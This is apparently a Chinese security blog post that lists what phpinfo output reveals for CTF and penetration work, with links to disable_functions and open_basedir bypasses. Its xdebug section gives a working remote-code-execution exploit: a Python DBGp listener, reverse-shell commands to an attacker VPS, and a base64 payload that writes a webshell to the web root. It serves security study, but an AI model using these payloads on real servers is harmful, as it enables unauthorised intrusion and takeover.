zoukankan      html  css  js  c++  java
  • phpinfo中敏感信息记录

    比赛中或者渗透中如果遇到phpinfo,从里面发现的一些线索能够对后续的渗透和解题帮助很大,这里记录总结一下目前网上比较常用的的。

    下图来源于:https://seaii-blog.com/index.php/2017/10/25/73.html

    1.绝对路径(_SERVER["SCRIPT_FILENAME"])

    2.支持的程序

    可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,如果加载了,那么就可以适当往这几个方面考虑,还可以看看是否支持gopher、是否启了fastcgi。

    3.泄漏真实ip(_SERVER["SERVER_ADDR"]或SERVER_ADDR)

    可以查查旁站、c段什么的,直接无视cdn

    4.一些敏感配置

    allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等

    5.Loaded Configuration File(配置文件位置)

    这一栏表明了 php.ini 这个 php 配置文件的位置,在有文件读取的情况下可以进行读取,在渗透中还是很有帮助的。

    6.Registered PHP Streams(支持的流)

    这个在文件包含、反序列化还有一些关键的 bypass 的时候非常有用

    利用phar/zip协议绕过有后缀的文件包含:include zip:///var/www/html/upload/1.gif#1.php

    7.open_basedir

    这个选项设置了文件读取的时候的目录限制

    PHP绕过open_basedir列目录的研究

    php5全版本绕过open_basedir读文件脚本

    绕过open_basedir读文件脚本

    8.short_open_tag

    判断服务器是不是支持短标签,这在写 shell 的时候很有帮助

     

    9.phar

    文件包含还有反序列化重点关注

    10.SESSION

    session.save_path=”” –设置session的存储路径
    session.save_handler=”” –设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
    session.auto_start boolen –指定会话模块是否在请求开始时启动一个会话,默认为0不启动
    session.serialize_handler string –定义用来序列化/反序列化的处理器名字。默认使用php

    这个也容易导致session处理器不同而导致的反序列化漏洞,之前文章里也说过

    https://www.cnblogs.com/wfzWebSecuity/p/11156279.html

    11.server api

    php解释器与应用层的桥梁。

    1.FPM/FastCGI 多用于和nginx通信,当然也可用于其他web中间件。
    2.Apache 2.0 Handler php为apache提供的专用SAPI
    3.Command Line Interface php命令行

    12.disable_functions

    有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。

    有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。

    绕过的方式有这么几个:

    黑名单绕过:

    百密一疏,寻找黑名单中漏掉的函数,上图中禁用的函数算是比较全的了。
    比如在编译php时如果加了-–enable-pcntl选项,就可以使用pcntl_exec()来执行命令。

    渗透技巧:利用pcntl_exec突破disable_functions

    利用ImageMagick漏洞绕过disable_function

    利用环境变量LD_PRELOAD来绕过php disable_function

    https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

    利用扩展库绕过

    http://www.91ri.org/8700.html

    综合:

    https://github.com/l3m0n/Bypass_Disable_functions_Shell

    13.enable_dl

    上面说的利用扩展库绕过disable_functions,需要使用dl()并且开启这个选项

    14.xdebug 远程rce

    漏洞利用条件:

    xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接,就是让被调试的服务器去连接我们的恶意主机,此时我们的恶意主机就可以和目标服务器进行交互,并且因为是xdebug是支持dbgp的,所以可以此时让恶意主机发送恶意指令到目标服务器让其执行

     需要在目标站的phpinfo中看到:

    xdebug.remote_connect_back => On => On
    xdebug.remote_cookie_expire_time => 3600 => 3600
    xdebug.remote_enable => On => On

    即可使用Xdebug进行连接,尝试直接命令执行

    利用exp如下:rr师傅的

    import socket
    
    ip_port = ('0.0.0.0',9000)
    sk = socket.socket()
    sk.bind(ip_port)
    sk.listen(10)
    conn, addr = sk.accept()
    
    while True:
        client_data = conn.recv(1024)
        print(client_data)
    
        data = raw_input('>> ')
        conn.sendall('eval -i 1 -- %sx00' % data.encode('base64'))

     首先可以测试一下是否可以利用,直接使用curl

    然后执行exp,监听本地9000端口,发送恶意payload,访问vps

     

    反弹shell:

    此时直接用

    system("bash -i >& /dev/tcp/vps_id/port 0>&1")没弹回来,但是能curl到,换了个payload,尝试往网站根目录下写shell:

    用payload如下,这里用base64转一下,防止payload引号发生冲突,冲突写不进去

    shell_exec("echo 'ZWNobyAiPD9waHAgcGhwaW5mbygpOz8+IiA+IC92YXIvd3d3L2h0bWwvcy5waHA=' | base64 -d | bash");

    看下/var/www/html下面:

    有了上面base64绕过,我又回来试了一下能不能反弹shell,还是用system("bash -i >& /dev/tcp/vps_id/port 0>&1"),把反弹shell的payload进行编码一下:

    然后vps上。。。。终于弹回来了,exp没问题,要自己调试一下paylaod,适当把payload编码一下挺有用的

     

    15.opcache

    opcache是缓存文件,他的作用就类似于web项目中的静态文件的缓存, 比如我们加载一个网页, 浏览器会自动帮我们把jpg, css缓存起来, 唯独php没有缓存, 每次均需要open文件, 解析代码, 执行代码这一过程, 而opcache即可解决这个问题, 代码会被高速缓存起来, 提升访问速度。

    如果目标网站

    opcache.enable => On

    即可判断开启了opcache,即有开启了潜在的攻击面

    详情见0ctf ezdoor解析

    https://skysec.top/2018/04/11/0ctf-ezdoor/

    https://skysec.top/2018/04/04/amazing-phpinfo/#OPCACHE

    https://www.angelwhu.com/blog/?p=438

    16.imap

    https://github.com/vulhub/vulhub/blob/master/php/CVE-2018-19518/README.md

    参考(侵删):

    https://paper.seebug.org/397/

    https://www.k0rz3n.com/2019/02/12/PHPINFO%20%E4%B8%AD%E7%9A%84%E9%87%8D%E8%A6%81%E4%BF%A1%E6%81%AF/

    http://www.am0s.com/penetration/322.html

    https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

     https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce

    https://seaii-blog.com/index.php/2017/10/25/73.html

  • 相关阅读:
    2014年7月 记事
    从客户端中检测到有潜在危险的Request.Form值 的解决方法
    jquery parent() parents() closest()区别
    不包含适合于入口点的静态"Main"方法
    JQuery移除事件
    jQ的toggle()方法示例
    codeforces hello2018 D Too Easy Problems
    HDU-6084 寻找母串
    51Nod 1109 01组成N的倍数
    可重排列
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11190906.html
Copyright © 2011-2022 走看看